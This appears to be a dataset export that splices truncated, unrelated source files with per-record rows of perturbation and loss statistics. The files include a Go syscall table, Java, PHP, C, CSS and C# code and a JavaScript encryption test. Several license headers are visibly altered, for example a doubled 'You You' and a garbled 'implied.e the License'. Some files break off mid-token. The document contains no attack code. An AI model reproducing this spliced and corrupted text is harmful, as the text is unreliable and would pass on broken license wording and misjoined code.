{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Debug|x86.ActiveCfg = Debug|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Release|Any CPU.Build.0 = Release|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Release|x86.ActiveCfg = Release|Any CPU
{564C72C8-586E-4218-B6B3-F464F7C3903A}.Debug|Any CPU.Active
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
// go run mksysnum.go /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS11.1.sdk/usr/include/sys/syscall.h
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build arm64,darwin
package unix
const (
SYS_SYSCALL = 0
SYS_EXIT = 1
SYS_FORK = 2
SYS_READ = 3
SYS_WRITE = 4
SYS_OPEN = 5
SYS_CLOSE = 6
SYS_WAIT4 = 7
SYS_LINK = 9
SYS_UNLINK = 10
SYS_CHDIR = 12
SYS_FCHDIR = 13
SYS_MKNOD = 14
SYS_CHMOD = 15
SYS_CHOWN = 16
SYS_GETFSSTAT = 18
SYS_GETPID = 20
SYS_SETUID = 23
SYS_GETUID = 24
SYS_GETEUID = 25
SYS_PTRACE = 26
SYS_RECVMSG = 27
SYS_SENDMSG = 28
SYS_RECVFROM = 29
SYS_ACCEPT = 30
SYS_GETPEERNAME = 31
SYS_GETSOCKNAME = 32
SYS_ACCESS = 33
SYS_CHFLAGS = 34
SYS_FCHFLAGS = 35
SYS_SYNC = 36
SYS_KILL = 37
SYS_GETPPID = 39
SYS_DUP = 41
SYS_PIPE = 42
SYS_GETEGID = 43
SYS_SIGACTION = 46
SYS_GETGID = 47
SYS_SIGPROCMASK = 48
SYS_GETLOGIN = 49
SYS_SETLOGIN = 50
SYS_ACCT = 51
SYS_SIGPENDING = 52
SYS_SIGALTSTACK = 53
SYS_IOCTL = 54
SYS_REBOOT = 55
SYS_REVOKE = 56
SYS_SYMLINK = 57
SYS_READLINK = 58
SYS_EXECVE = 59
SYS_UMASK = 60
SYS_CHROOT = 61
SYS_MSYNC = 65
SYS_VFORK = 66
SYS_MUNMAP = 73
SYS_MPROTECT = 74
SYS_MADVISE = 75
SYS_MINCORE = 78
SYS_GETGROUPS = 79
SYS_SETGROUPS = 80
SYS_GETPGRP = 81
SYS_SETPGID = 82
SYS_SETITIMER = 83
SYS_SWAPON = 85
SYS_GETITIMER = 86
SYS_GETDTABLESIZE = 89
SYS_DUP2 = 90
SYS_FCNTL = 92
SYS_SELECT = 93
SYS_FSYNC = 95
SYS_SETPRIORITY = 96
SYS_SOCKET = 97
SYS_CONNECT = 98
SYS_GETPRIORITY = 100
SYS_BIND = 104
SYS_SETSOCKOPT = 105
SYS_LISTEN = 106
SYS_SIGSUSPEND = 111
SYS_GETTIMEOFDAY = 116
SYS_GETRUSAGE = 117
SYS_GETSOCKOPT = 118
SYS_READV = 120
SYS_WRITEV = 121
SYS_SETTIMEOFDAY = 122
SYS_FCHOWN = 123
SYS_FCHMOD = 124
SYS_SETREUID = 126
SYS_SETREGID = 127
SYS_RENAME = 128
SYS_FLOCK = 131
SYS_MKFIFO = 132
SYS_SENDTO = 133
SYS_SHUTDOWN = 134
SYS_SOCKETPAIR = 135
SYS_MKDIR = 136
SYS_RMDIR = 137
SYS_UTIMES = 138
SYS_FUTIMES = 139
SYS_ADJTIME = 140
SYS_GETHOSTUUID = 142
SYS_SETSID = 147
SYS_GETPGID = 151
SYS_SETPRIVEXEC = 152
SYS_PREAD = 153
SYS_PWRITE = 154
SYS_NFSSVC = 155
SYS_STATFS = 157
SYS_FSTATFS = 158
SYS_UNMOUNT = 159
SYS_GETFH = 161
SYS_QUOTACTL = 165
SYS_MOUNT = 167
SYS_CSOPS = 169
SYS_CSOPS_AUDITTOKEN = 170
SYS_WAITID = 173
SYS_KDEBUG_TYPEFILTER = 177
SYS_KDEBUG_TRACE_STRING = 178
SYS_KDEBUG_TRACE64 = 179
SYS_KDEBUG_TRACE = 180
SYS_SETGID = 181
SYS_SETEGID = 182
SYS_SETEUID = 183
SYS_SIGRETURN = 184
SYS_THREAD_SELFCOUNTS = 186
SYS_FDATASYNC = 187
SYS_STAT = 188
SYS_FSTAT = 189
SYS_LSTAT = 190
SYS_PATHCONF = 191
SYS_FPATHCONF = 192
SYS_GETRLIMIT = 194
SYS_SETRLIMIT = 195
SYS_GETDIRENTRIES = 196
SYS_MMAP = 197
SYS_LSEEK = 199
SYS_TRUNCATE = 200
SYS_FTRUNCATE = 201
SYS_SYSCTL = 202
SYS_MLOCK = 203
SYS_MUNLOCK = 204
SYS_UNDELETE = 205
SYS_OPEN_DPROTECTED_NP = 216
SYS_GETATTRLIST = 220
SYS_SETATTRLIST = 221
SYS_GETDIRENTRIESATTR = 222
SYS_EXCHANGEDATA = 223
SYS_SEARCHFS = 225
SYS_DELETE = 226
SYS_COPYFILE = 227
SYS_FGETATTRLIST = 228
SYS_FSETATTRLIST = 229
SYS_POLL = 230
SYS_WATCHEVENT = 231
SYS_WAITEVENT = 232
SYS_MODWATCH = 233
SYS_GETXATTR = 234
SYS_FGETXATTR = 235
SYS_SETXATTR = 236
SYS_FSETXATTR = 237
SYS_REMOVEXATTR = 238
SYS_FREMOVEXATTR = 239
SYS_LISTXATTR = 240
SYS_FLISTXATTR = 241
SYS_FSCTL = 242
SYS_INITGROUPS = 243
SYS_POSIX_SPAWN = 244
SYS_FFSCTL = 245
SYS_NFSCLNT = 247
SYS_FHOPEN = 248
SYS_MINHERIT = 250
SYS_SEMSYS = 251
SYS_MSGSYS = 252
SYS_SHMSYS = 253
SYS_SEMCTL = 254
SYS_SEMGET = 255
SYS_SEMOP = 256
SYS_MSGCTL = 258
SYS_MSGGET = 259
SYS_MSGSND = 260
SYS_MSGRCV = 261
SYS_SHMAT = 262
SYS_SHMCTL = 263
SYS_SHMDT = 264
SYS_SHMGET = 265
SYS_SHM_OPEN = 266
SYS_SHM_UNLINK = 267
SYS_SEM_OPEN = 268
SYS_SEM_CLOSE = 269
SYS_SEM_UNLINK = 270
SYS_SEM_WAIT = 271
SYS_SEM_TRYWAIT = 272
SYS_SEM_POST =
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 0.622961163520813,
"baseline_truncated": false,
"doc_advantage_score": 59.37510681152344,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.010491958819329739,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 8243,
"total_sentences": 3,
"truncated": false
}
|
/*******************************************************************************
* Copyright (c) 2016, 2020 Eurotech and/or its affiliates and others
*
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*
* Contributors:
* Eurotech - initial API and implementation
*******************************************************************************/
package org.eclipse.kapua.service.device.management.snapshot;
import org.eclipse.kapua.locator.KapuaLocator;
import javax.xml.bind.annotation.XmlRegistry;
/**
* {@link DeviceSnapshot} xml factory class
*
* @since 1.0
*/
@XmlRegistry
public class DeviceSnapshotXmlRegistry {
private static final KapuaLocator LOCATOR = KapuaLocator.getInstance();
private static final DeviceSnapshotFactory DEVICE_SNAPSHOT_FACTORY = LOCATOR.getFactory(DeviceSnapshotFactory.class);
/**
* Creates a new device snapshots list
*
* @return
*/
public DeviceSnapshots newDeviceSnapshots() {
return DEVICE_SNAPSHOT_FACTORY.newDeviceSnapshots();
}
/**
* Creates a new device snapshot
*
* @return
*/
public DeviceSnapshot newDeviceSnapshot() {
return DEVICE_SNAPSHOT_FACTORY.newDeviceSnapshot();
}
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
/*
* OPL4 MIDI synthesizer functions
*
* Copyright (c) 2003 by Clemens Ladisch <clemens@ladisch.de>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions, and the following disclaimer,
* without modification.
* 2. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* Alternatively, this software may be distributed and/or modified under the
* terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include "opl4_local.h"
#include <linux/delay.h>
#include <asm/io.h>
#include <sound/asoundef.h>
/* GM2 controllers */
#ifndef MIDI_CTL_RELEASE_TIME
#define MIDI_CTL_RELEASE_TIME 0x48
#define MIDI_CTL_ATTACK_TIME 0x49
#define MIDI_CTL_DECAY_TIME 0x4b
#define MIDI_CTL_VIBRATO_RATE 0x4c
#define MIDI_CTL_VIBRATO_DEPTH 0x4d
#define MIDI_CTL_VIBRATO_DELAY 0x4e
#endif
/*
* This table maps 100/128 cents to F_NUMBER.
*/
static const s16 snd_opl4_pitch_map[0x600] = {
0x000,0x000,0x001,0x001,0x002,0x002,0x003,0x003,
0x004,0x004,0x005,0x005,0x006,0x006,0x006,0x007,
0x007,0x008,0x008,0x009,0x009,0x00a,0x00a,0x00b,
0x00b,0x00c,0x00c,0x00d,0x00d,0x00d,0x00e,0x00e,
0x00f,0x00f,0x010,0x010,0x011,0x011,0x012,0x012,
0x013,0x013,0x014,0x014,0x015,0x015,0x015,0x016,
0x016,0x017,0x017,0x018,0x018,0x019,0x019,0x01a,
0x01a,0x01b,0x01b,0x01c,0x01c,0x01d,0x01d,0x01e,
0x01e,0x01e,0x01f,0x01f,0x020,0x020,0x021,0x021,
0x022,0x022,0x023,0x023,0x024,0x024,0x025,0x025,
0x026,0x026,0x027,0x027,0x028,0x028,0x029,0x029,
0x029,0x02a,0x02a,0x02b,0x02b,0x02c,0x02c,0x02d,
0x02d,0x02e,0x02e,0x02f,0x02f,0x030,0x030,0x031,
0x031,0x032,0x032,0x033,0x033,0x034,0x034,0x035,
0x035,0x036,0x036,0x037,0x037,0x038,0x038,0x038,
0x039,0x039,0x03a,0x03a,0x03b,0x03b,0x03c,0x03c,
0x03d,0x03d,0x03e,0x03e,0x03f,0x03f,0x040,0x040,
0x041,0x041,0x042,0x042,0x043,0x043,0x044,0x044,
0x045,0x045,0x046,0x046,0x047,0x047,0x048,0x048,
0x049,0x049,0x04a,0x04a,0x04b,0x04b,0x04c,0x04c,
0x04d,0x04d,0x04e,0x04e,0x04f,0x04f,0x050,0x050,
0x051,0x051,0x052,0x052,0x053,0x053,0x054,0x054,
0x055,0x055,0x056,0x056,0x057,0x057,0x058,0x058,
0x059,0x059,0x05a,0x05a,0x05b,0x05b,0x05c,0x05c,
0x05d,0x05d,0x05e,0x05e,0x05f,0x05f,0x060,0x060,
0x061,0x061,0x062,0x062,0x063,0x063,0x064,0x064,
0x065,0x065,0x066,0x066,0x067,0x067,0x068,0x068,
0x069,0x069,0x06a,0x06a,0x06b,0x06b,0x06c,0x06c,
0x06d,0x06d,0x06e,0x06e,0x06f,0x06f,0x070,0x071,
0x071,0x072,0x072,0x073,0x073,0x074,0x074,0x075,
0x075,0x076,0x076,0x077,0x077,0x078,0x078,0x079,
0x079,0x07a,0x07a,0x07b,0x07b,0x07c,0x07c,0x07d,
0x07d,0x07e,0x07e,0x07f,0x07f,0x080,0x081,0x081,
0x082,0x082,0x083,0x083,0x084,0x084,0x085,0x085,
0x086,0x086,0x087,0x087,0x088,0x088,0x089,0x089,
0x08a,0x08a,0x08b,0x08b,0x08c,0x08d,0x08d,0x08e,
0x08e,0x08f,0x08f,0x090,0x090,0x091,0x091,0x092,
0x092,0x093,0x093,0x094,0x094,0x095,0x096,0x096,
0x097,0x097,0x098,0x098,0x099,0x099,0x09a,0x09a,
0x09b,0x09b,0x09c,0x09c,0x
| null | 1
|
{
"advantage_score_max": 8.227838516235352,
"advantage_score_mean": 5.173089027404785,
"advantage_score_min": 2.118340015411377,
"advantage_score_std": 3.0547492504119873,
"advantage_scores": [
8.227838516235352,
2.118340015411377
],
"baseline_doc_loss": 0.20624703168869019,
"baseline_truncated": false,
"doc_advantage_score": 3.219069719314575,
"length_change_ratio": 0.9346938775510204,
"net_length_change_chars": -16,
"original_sentences_length_chars": 245,
"replacement_paraphrases_length_chars": 229,
"sentences_perturbed": 1,
"target_doc_loss": 0.06407038122415543,
"target_truncated": false,
"threshold_passing_sentences": 2,
"total_doc_length_chars": 4069,
"total_sentences": 10,
"truncated": false
}
|
/*!
*
* Copyright (c) 2016 Cisco Systems, Inc. See LICENSE file.
*/
"use strict";
var chai = require("chai");
var JWK = require("../../lib/jwk");
var JWE = require("../../lib/jwe");
var assert = chai.assert;
describe("jwe/embedded", function() {
var keys = {
"oct": {
"kty": "oct",
"kid": "BBbx9f-quvmBp5gHzO1LA1r3Fm7MsXwQovuLoIq4Des",
"k": "rmY1vk9qj34HAYWSc2aQJg"
}
// TODO: RSA and EC key tests
}
before(function() {
var all = Object.keys(keys);
all = all.map(function(t) {
return JWK.asKey(keys[t]).
then(function(jwk) {
keys[t] = jwk;
});
});
return Promise.all(all);
});
describe("oct", function() {
it("failed to embed a symmetric key", function() {
var badKey = keys.oct;
var opts = {
format: "general",
protect: false
};
var jwe = JWE.createEncrypt(opts, {
key: badKey,
reference: "jwk"
});
jwe.update("You shall not pass!", "utf8");
var p = jwe.final();
p = p.then(function() {
assert.ok(false, "unexpected success");
}, function(err) {
assert.instanceOf(err, Error);
assert.equal(err.message, "cannot embed key");
});
return p;
});
});
});
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 1.8634759187698364,
"baseline_truncated": false,
"doc_advantage_score": 1.104166030883789,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 1.687677264213562,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 1296,
"total_sentences": 5,
"truncated": false
}
|
<h2>Full example</h2>
<pre><code>{
"data": {
"labels": [
"foo",
"bar"
],
"series": [
[ 0, 1, 2, 3 ],
[ 0, -4, -8, -12 ]
]
},
// we even support comments
"error": null,
"status": "Ok"
}</code></pre>
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
<?php
/***********************************************************************************
* X2Engine Open Source Edition is a customer relationship management program developed by
* X2 Engine, Inc. Copyright (C) 2011-2019 X2 Engine Inc.
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU Affero General Public License version 3 as published by the
* Free Software Foundation with the addition of the following permission added
* to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED WORK
* IN WHICH THE COPYRIGHT IS OWNED BY X2ENGINE, X2ENGINE DISCLAIMS THE WARRANTY
* OF NON INFRINGEMENT OF THIRD PARTY RIGHTS.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
* details.
*
* You should have received a copy of the GNU Affero General Public License along with
* this program; if not, see http://www.gnu.org/licenses or write to the Free
* Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
* 02110-1301 USA.
*
* You can contact X2Engine, Inc. P.O. Box 610121, Redwood City,
* California 94061, USA. or at email address contact@x2engine.com.
The interactive user interfaces in modified source and object code forms of this program must show Appropriate Legal Notices, as required under Section 5 of the GNU Affero General Public License version 3.
*
* In accordance with Section 7(b) of the GNU Affero General Public License version 3,
* these Appropriate Legal Notices must retain the display of the "Powered by
* X2 Engine" logo. If the display of the logo is not reasonably feasible for
* technical reasons, the Appropriate Legal Notices must display the words
* "Powered by X2 Engine".
**********************************************************************************/
/**
* X2FlowAction that adds, removes or clears all tags on a record
*
* @package application.components.x2flow.actions
*/
class X2FlowRecordTag extends X2FlowAction {
/**
* Fields
*/
public $title = 'Edit Tags';
public $info = 'Adds, removes, or clears tags to associated record. Enter a comma-separated list of tags';
/**
* Parameter rules
*
* @return array
*/
public function paramRules() {
$tagActions = array(
'add' => Yii::t('studio', 'Add'),
'remove' => Yii::t('studio', 'Remove'),
'clear' => Yii::t('studio', 'Clear All'),
);
return array_merge(parent::paramRules(), array(
'title' => Yii::t('studio', $this->title),
'info' => Yii::t('studio', $this->info),
'modelRequired' => 1,
'options' => array(
array(
'name' => 'action',
'label' => Yii::t('studio', 'Action'),
'type' => 'dropdown',
'options' => $tagActions
),
array(
'name' => 'tags',
'label' => Yii::t('studio', 'Tags (Optional)'),
'type' => 'tags',
'optional' => true
)
)));
}
/**
* Execute action
*
* @param array $params
* @param array $triggerLogId
* @return type
*/
public function execute(&$params) {
// Gets tags
$tags = $this->parseOption('tags', $params);
// Does tag action
$retVal = null;
$model = $params['model'];
switch ($this->parseOption('action', $params)) {
case 'add':
$retVal = $model->addTags($tags);
break;
case 'remove':
$retVal = $model->removeTags($tags);
break;
case 'clear':
$retVal = $model->clearTags();
break;
}
// Checks if action was successful
if ($retVal) {
// Checks if subclass of X2Model
if (is_subclass_of($model, 'X2Model')) {
return array(
true,
Yii::t('studio', 'View updated record: ') . $model->getLink()
);
} else {
return array(true, "");
}
} else {
return array(false, "");
}
}
}
| null | 1
|
{
"advantage_score_max": 1.9659205675125122,
"advantage_score_mean": 1.9591150283813477,
"advantage_score_min": 1.9523096084594727,
"advantage_score_std": 0.006805479526519775,
"advantage_scores": [
1.9659205675125122,
1.9523096084594727
],
"baseline_doc_loss": 0.698276937007904,
"baseline_truncated": false,
"doc_advantage_score": 1.3274024724960327,
"length_change_ratio": 0.9192825112107623,
"net_length_change_chars": -18,
"original_sentences_length_chars": 223,
"replacement_paraphrases_length_chars": 205,
"sentences_perturbed": 1,
"target_doc_loss": 0.5260476469993591,
"target_truncated": false,
"threshold_passing_sentences": 2,
"total_doc_length_chars": 4524,
"total_sentences": 14,
"truncated": false
}
|
package com.oath.cyclops.jackson.deserializers;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.DeserializationContext;
import com.fasterxml.jackson.databind.JavaType;
import com.fasterxml.jackson.databind.JsonDeserializer;
import com.fasterxml.jackson.databind.JsonMappingException;
import com.fasterxml.jackson.databind.deser.ResolvableDeserializer;
import com.fasterxml.jackson.databind.deser.ValueInstantiator;
import com.fasterxml.jackson.databind.deser.std.ReferenceTypeDeserializer;
import com.fasterxml.jackson.databind.deser.std.StdDeserializer;
import com.fasterxml.jackson.databind.jsontype.TypeDeserializer;
import cyclops.control.Option;
import java.io.IOException;
final class OptionDeserializer extends StdDeserializer<Option<?>> implements ResolvableDeserializer {
JavaType valueType;
private JsonDeserializer<Object> deser;
protected OptionDeserializer(JavaType valueType) {
super(valueType);
this.valueType = valueType;
}
@Override
public Object deserializeWithType(JsonParser p, DeserializationContext ctxt, TypeDeserializer typeDeserializer) throws IOException {
return super.deserializeWithType(p, ctxt, typeDeserializer);
}
@Override
public Option<?> deserialize(JsonParser p, DeserializationContext ctxt) throws IOException, JsonProcessingException {
return Option.some(deser.deserialize(p,ctxt));
}
@Override
public void resolve(DeserializationContext ctxt) throws JsonMappingException {
if (valueType.isContainerType()) {
deser = ctxt.findRootValueDeserializer(valueType.getContentType());
}else{
deser = ctxt.findRootValueDeserializer(valueType.containedTypeOrUnknown(0));
}
}
@Override
public Option<?> getNullValue(DeserializationContext ctxt) {
return Option.none();
}
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
/* Base16 Atelier Lakeside Light - Theme */
/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/lakeside) */
/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
/* Atelier-Lakeside Comment */
.hljs-comment,
.hljs-quote {
color: #5a7b8c;
}
/* Atelier-Lakeside Red */
.hljs-variable,
.hljs-template-variable,
.hljs-attribute,
.hljs-tag,
.hljs-name,
.hljs-regexp,
.hljs-link,
.hljs-name,
.hljs-selector-id,
.hljs-selector-class {
color: #d22d72;
}
/* Atelier-Lakeside Orange */
.hljs-number,
.hljs-meta,
.hljs-built_in,
.hljs-builtin-name,
.hljs-literal,
.hljs-type,
.hljs-params {
color: #935c25;
}
/* Atelier-Lakeside Green */
.hljs-string,
.hljs-symbol,
.hljs-bullet {
color: #568c3b;
}
/* Atelier-Lakeside Blue */
.hljs-title,
.hljs-section {
color: #257fad;
}
/* Atelier-Lakeside Purple */
.hljs-keyword,
.hljs-selector-tag {
color: #6b6bb8;
}
.hljs {
display: block;
overflow-x: auto;
background: #ebf8ff;
color: #516d7b;
padding: 0.5em;
}
.hljs-emphasis {
font-style: italic;
}
.hljs-strong {
font-weight: bold;
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
using System.Text.Json.Serialization;
namespace Essensoft.AspNetCore.Payment.Alipay.Response
{
/// <summary>
/// AlipayFinanceFundFundquotationQueryResponse.
/// </summary>
public class AlipayFinanceFundFundquotationQueryResponse : AlipayResponse
{
/// <summary>
/// 近半年收益:基金产品近半年内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("last_half_year")]
public string LastHalfYear { get; set; }
/// <summary>
/// 近一月收益率:基金产品近一月内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("last_month")]
public string LastMonth { get; set; }
/// <summary>
/// 近三月收益:基金产品近三月内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("last_quarter")]
public string LastQuarter { get; set; }
/// <summary>
/// 近一周收益率:基金产品近一周内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("last_week")]
public string LastWeek { get; set; }
/// <summary>
/// 近一年收益率:基金产品近一年内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("last_year")]
public string LastYear { get; set; }
/// <summary>
/// 发布日期:产品收益率发布的时间
/// </summary>
[JsonPropertyName("report_date")]
public string ReportDate { get; set; }
/// <summary>
/// 成立以来收益率:基金产品成立以来收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("since_establishment")]
public string SinceEstablishment { get; set; }
/// <summary>
/// 今年以来收益率:基金产品今年以来收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("this_year")]
public string ThisYear { get; set; }
/// <summary>
/// 三年内收益率:基金产品三年内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("yield_3_year")]
public string Yield3Year { get; set; }
/// <summary>
/// 近五年收益率:基金产品近五年内收益率 四舍五入后保留小数点后4位
/// </summary>
[JsonPropertyName("yield_5_year")]
public string Yield5Year { get; set; }
}
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Symfony\Component\Config\Definition;
use Symfony\Component\Config\Definition\Exception\InvalidConfigurationException;
/**
* Node which only allows a finite set of values.
*
* @author Johannes M. Schmitt <schmittjoh@gmail.com>
*/
class EnumNode extends ScalarNode
{
private $values;
public function __construct($name, NodeInterface $parent = null, array $values = array())
{
$values = array_unique($values);
if (empty($values)) {
throw new \InvalidArgumentException('$values must contain at least one element.');
}
parent::__construct($name, $parent);
$this->values = $values;
}
public function getValues()
{
return $this->values;
}
protected function finalizeValue($value)
{
$value = parent::finalizeValue($value);
if (!\in_array($value, $this->values, true)) {
$ex = new InvalidConfigurationException(sprintf('The value %s is not allowed for path "%s". Permissible values: %s', json_encode($value), $this->getPath(), implode(', ', array_map('json_encode', $this->values))));
$ex->setPath($this->getPath());
throw $ex;
}
return $value;
}
}
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 0.5529459714889526,
"baseline_truncated": false,
"doc_advantage_score": 1.2551189661026,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.44055262207984924,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 1469,
"total_sentences": 6,
"truncated": false
}
|
/*
* Copyright 2002-2019 the original author or authors.
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License.
* You You can obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.e the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.instrument.classloading;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import org.junit.jupiter.api.Test;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatIllegalArgumentException;
import static org.assertj.core.api.Assertions.assertThatIllegalStateException;
/**
* Unit tests for the {@link ReflectiveLoadTimeWeaver} class.
*
* @author Rick Evans
* @author Chris Beams
*/
public class ReflectiveLoadTimeWeaverTests {
@Test
